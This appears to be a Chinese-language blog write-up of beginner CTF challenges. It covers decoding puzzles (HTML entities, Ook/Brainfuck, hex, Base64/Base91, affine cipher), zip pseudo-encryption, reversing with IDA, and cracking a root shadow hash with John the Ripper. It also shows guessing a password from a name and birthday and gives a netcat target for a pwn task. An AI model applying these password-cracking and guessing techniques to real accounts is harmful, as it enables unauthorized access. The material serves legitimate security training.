十进制转文本。
&#102;&#108;&#97;&#103;&#37;&#55;&#66;&#99;&#116;&#102;&#95;&#116;&#102;&#99;&#50;&#48;&#49;&#55;&#49;&#55;&#113;&#119;&#101;&#37;&#55;&#68;
HTML
解码。
flag%7Bctf_tfc201717qwe%7D
HTML
解码。
flag%7Bctf_tfc201717qwe%7D
改为正常的flag
格式。
.!?
Des:N/A。
再怎么改,也改不掉对Ook
的独特记忆,https://www.splitbrain.org/services/ook。
获得flag
。
+[]-
Des:N/A。
+++++ +++++ [->++ +++++ +++<] >++.+ +++++ .<+++ [->-- -<]>- -.+++ +++.<
++++[ ->+++ +<]>+ +++.< +++++ [->-- ---<] >.<++ ++[-> ++++< ]>+++ .<+++
[->-- -<]>- ----. ++++. <+++[ ->+++ <]>+. <++++ [->-- --<]> ----- -.<++
+[->+ ++<]> ++.-. ----- ---.< +++[- >+++< ]>+++ .---- .<+++ [->-- -<]>-
.<+++ +++[- >---- --<]> ----- ----. +.<++ +++++ +[->+ +++++ ++<]> +++++
+++++ .<
Ook
的兄弟,Brainfuck
又来了,https://www.splitbrain.org/services/ook。
获得flag
。
奇怪的密码
Des:突然天上一道雷电,gndk€rlqhmtkwwp}z。
g n d k
的ASCII码值分别为103 110 100 107
。
f l a g
的ASCII码值分别为102 108 97 103
。
发现了规律,上python
。
s = 'gndk€rlqhmtkwwp}z'
i = 0
flag = ''
while i < len(s):
num = ord(s[i]) - (i + 1)
flag += chr(num)
i += 1
print(flag)
获得flag
。
托马斯.杰斐逊
Des:N/A。
这个之前有做过。
先根据密钥对各行进行替换。
然后根据密文,对第一列元素进行排列,对每行元素进行循环。
唯一读的通顺的就是倒数第六列:XSXSBUGKUADMIN
。
获得flag
。
zip伪加密
Des:N/A。
题目给了一个压缩包,打开里面的flag.txt
文档需要密码,当然这里说了伪加密。
先来分析一下ZIP文件的三个组成部分:
压缩源文件数据区:
50 4B 03 04:这是头文件标记(0x04034b50)
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(有N/A加密)
08 00:压缩方式
5A 7E:最后修改文件时间
F7 46:最后修改文件日期
16 B5 80 14:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
07 00:文件名长度
00 00:扩展记录长度
压缩源文件目录区:
50 4B 01 02:目录中文件文件头标记(0x02014b50)
3F 00:压缩使用的 pkware 版本
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(有N/A加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了)
08 00:压缩方式
5A 7E:最后修改文件时间
F7 46:最后修改文件日期
16 B5 80 14:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
07 00:文件名长度
24 00:扩展字段长度
00 00:文件注释长度
00 00:磁盘开始号
00 00:内部文件属性
20 00 00 00:外部文件属性
00 00 00 00:局部头部偏移量
压缩源文件目录结束标志:
50 4B 05 06:目录结束标记
00 00:当前磁盘编号
00 00:目录区开始磁盘编号
01 00:本磁盘上纪录总数
01 00:目录区中纪录总数
59 00 00 00:目录区尺寸大小
3E 00 00 00:目录区对第一张磁盘的偏移量
00 00:ZIP 文件注释长度
找到头文件标记50 4B 03 04
与文件头标记50 4B 01 02
,将后面对应的全局方式位标记00 09
改为00 00
破解伪加密,保存后成功打开flag.txt
。
获得flag
。
告诉你个秘密
Des:636A56355279427363446C4A49454A7154534230526D6843 56445A31614342354E326C4B4946467A5769426961453067。
数字范围0-9
,字母范围A-E
。
十六进制转字符串。
cjV5RyBscDlJIEJqTSB0RmhCVDZ1aCB5N2lKIFFzWiBiaE0g
Base64
转字符串。
r5yG lp9I BjM tFhB T6uh y7iJ QsZ bhM
这个东西,看看键盘,刚好把中间的键给围了起来。
TONGYUAN
获得flag
。
这不是md5
Des:666c61677b616537333538376261353662616566357d。
数字范围1-8
,字母范围b-d
。
十六进制转文本。
获得flag
。
贝斯家族
Des:@iH<,{bdR2H;i6*Tm,Wx2izpx2!。
都说了是Base
编码了,本菜鸟一个个试,试出来是Base91
编码,进行解码。
获得flag
。
富强民主
Des:公正公正公正诚信文明公正民主公正法治法治友善平等和谐敬业和谐富强和谐富强和谐文明和谐平等公正公正和谐法治公正公正公正文明和谐民主和谐敬业和谐平等和谐敬业和谐敬业和谐和谐和谐公正法治友善法治。
这个…查了一下,这是核心价值观编码。CTF在线工具-在线核心价值观编码|核心价值观编码算法|Core Values Encoder (ssleye.com)。
获得flag
。
python
Des:N/A。
暂时解不出…
进制转换
Des:二进制、八进制、十进制、十六进制,你能分的清吗?
d87 x65 x6c x63 o157 d109 o145 b100000 d116 b1101111 o40 x6b b1100101 b1101100 o141 d105 x62 d101 b1101001 d46 o40 d71 x69 d118 x65 x20 b1111001 o157 b1110101 d32 o141 d32 d102 o154 x61 x67 b100000 o141 d115 b100000 b1100001 d32 x67 o151 x66 d116 b101110 b100000 d32 d102 d108 d97 o147 d123 x31 b1100101 b110100 d98 d102 b111000 d49 b1100001 d54 b110011 x39 o64 o144 o145 d53 x61 b1100010 b1100011 o60 d48 o65 b1100001 x63 b110110 d101 o63 b111001 d97 d51 o70 d55 b1100010 d125 x20 b101110 x20 b1001000 d97 d118 o145 x20 d97 o40 d103 d111 d111 x64 d32 o164 b1101001 x6d o145 x7e
思路:先把所有数据转换为统一的形式,再转换为字符串。这里转为十六进制。
十六进制转字符串。
获得flag
。
affine
Des:y = 17*x-8 flag{szzyfimhyzd}。
affine
为仿射的意思,那么这就是仿射加密了。
上脚本。
s = 'szzyfimhyzd'
list = []
for i in s:
list.append(ord(i) - 97)
flag = ''
for i in list:
for j in range(0, 26):
c = (17 * j - 8) % 26
if (c == i):
flag += chr(j + 97)
print(flag)
获得flag
。
Crack it
Des:破解该文件,获得密码。
给了一个shadow
文件,记事本打开看看,内容:
root:$6$HRMJoyGA$26FIgg6CU0bGUOfqFB0Qo9AE2LRZxG8N3H.3BK8t49wGlYbkFbxVFtGOZqVIq3qQ6k0oetDbn2aVzdhuVQ6US.:17770:0:99999:7:::
这个需要应该是破解用户密码,使用kali
的john
工具,命令:
john shadow
可以发现密码为hellokitty
。
获得flag
。
rsa
Des:N/A。
N : 460657813884289609896372056585544172485318117026246263899744329237492701820627219556007788200590119136173895989001382151536006853823326382892363143604314518686388786002989248800814861248595075326277099645338694977097459168530898776007293695728101976069423971696524237755227187061418202849911479124793990722597
e : 354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619
enc : 38230991316229399651823567590692301060044620412191737764632384680546256228451518238842965221394711848337832459443844446889468362154188214840736744657885858943810177675871991111466653158257191139605699916347308294995664530280816850482740530602254559123759121106338359220242637775919026933563326069449424391192
暂时无解。
来自宇宙的信号
Des:银河战队出击。
搜索标准银河字母,找到对应表。
对应下来就是:
nopqrst
获得flag
。
Reverse
入门逆向
Des:N/A。
用IDA
打开看看,定位到main
函数。
有很多的mov
指令,66h
为f,6Ch
为l,猜测这一串就是flag
,点击对应的值按R
进行转换。
获得flag
。
Easy_vb
Des:N/A。
IDA
打开文件,上下翻一下。
获得flag
。
Easy_Re
Des:Hint: 1.逆向常用的工具有IDA 、ollydbg。
IDA
打开文件,挨个看看。
搜索CTF
。
双击定位去看看。
这里的xmmword
和dq
可以转化成字符串,选中按R
进行转换。
将字符串转换为合理的顺序。
获得flag
。
游戏过关
Des:N/A。
先用PEiD
看看,
社工
密码
DES:姓名:张三,生日:19970315。
唔,因为是第一个题,应该不会太难,猜测内容为zs19970315
。
获得flag
。
Pwn
pwn1
Des:nc 114.116.54.89 10001。
文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。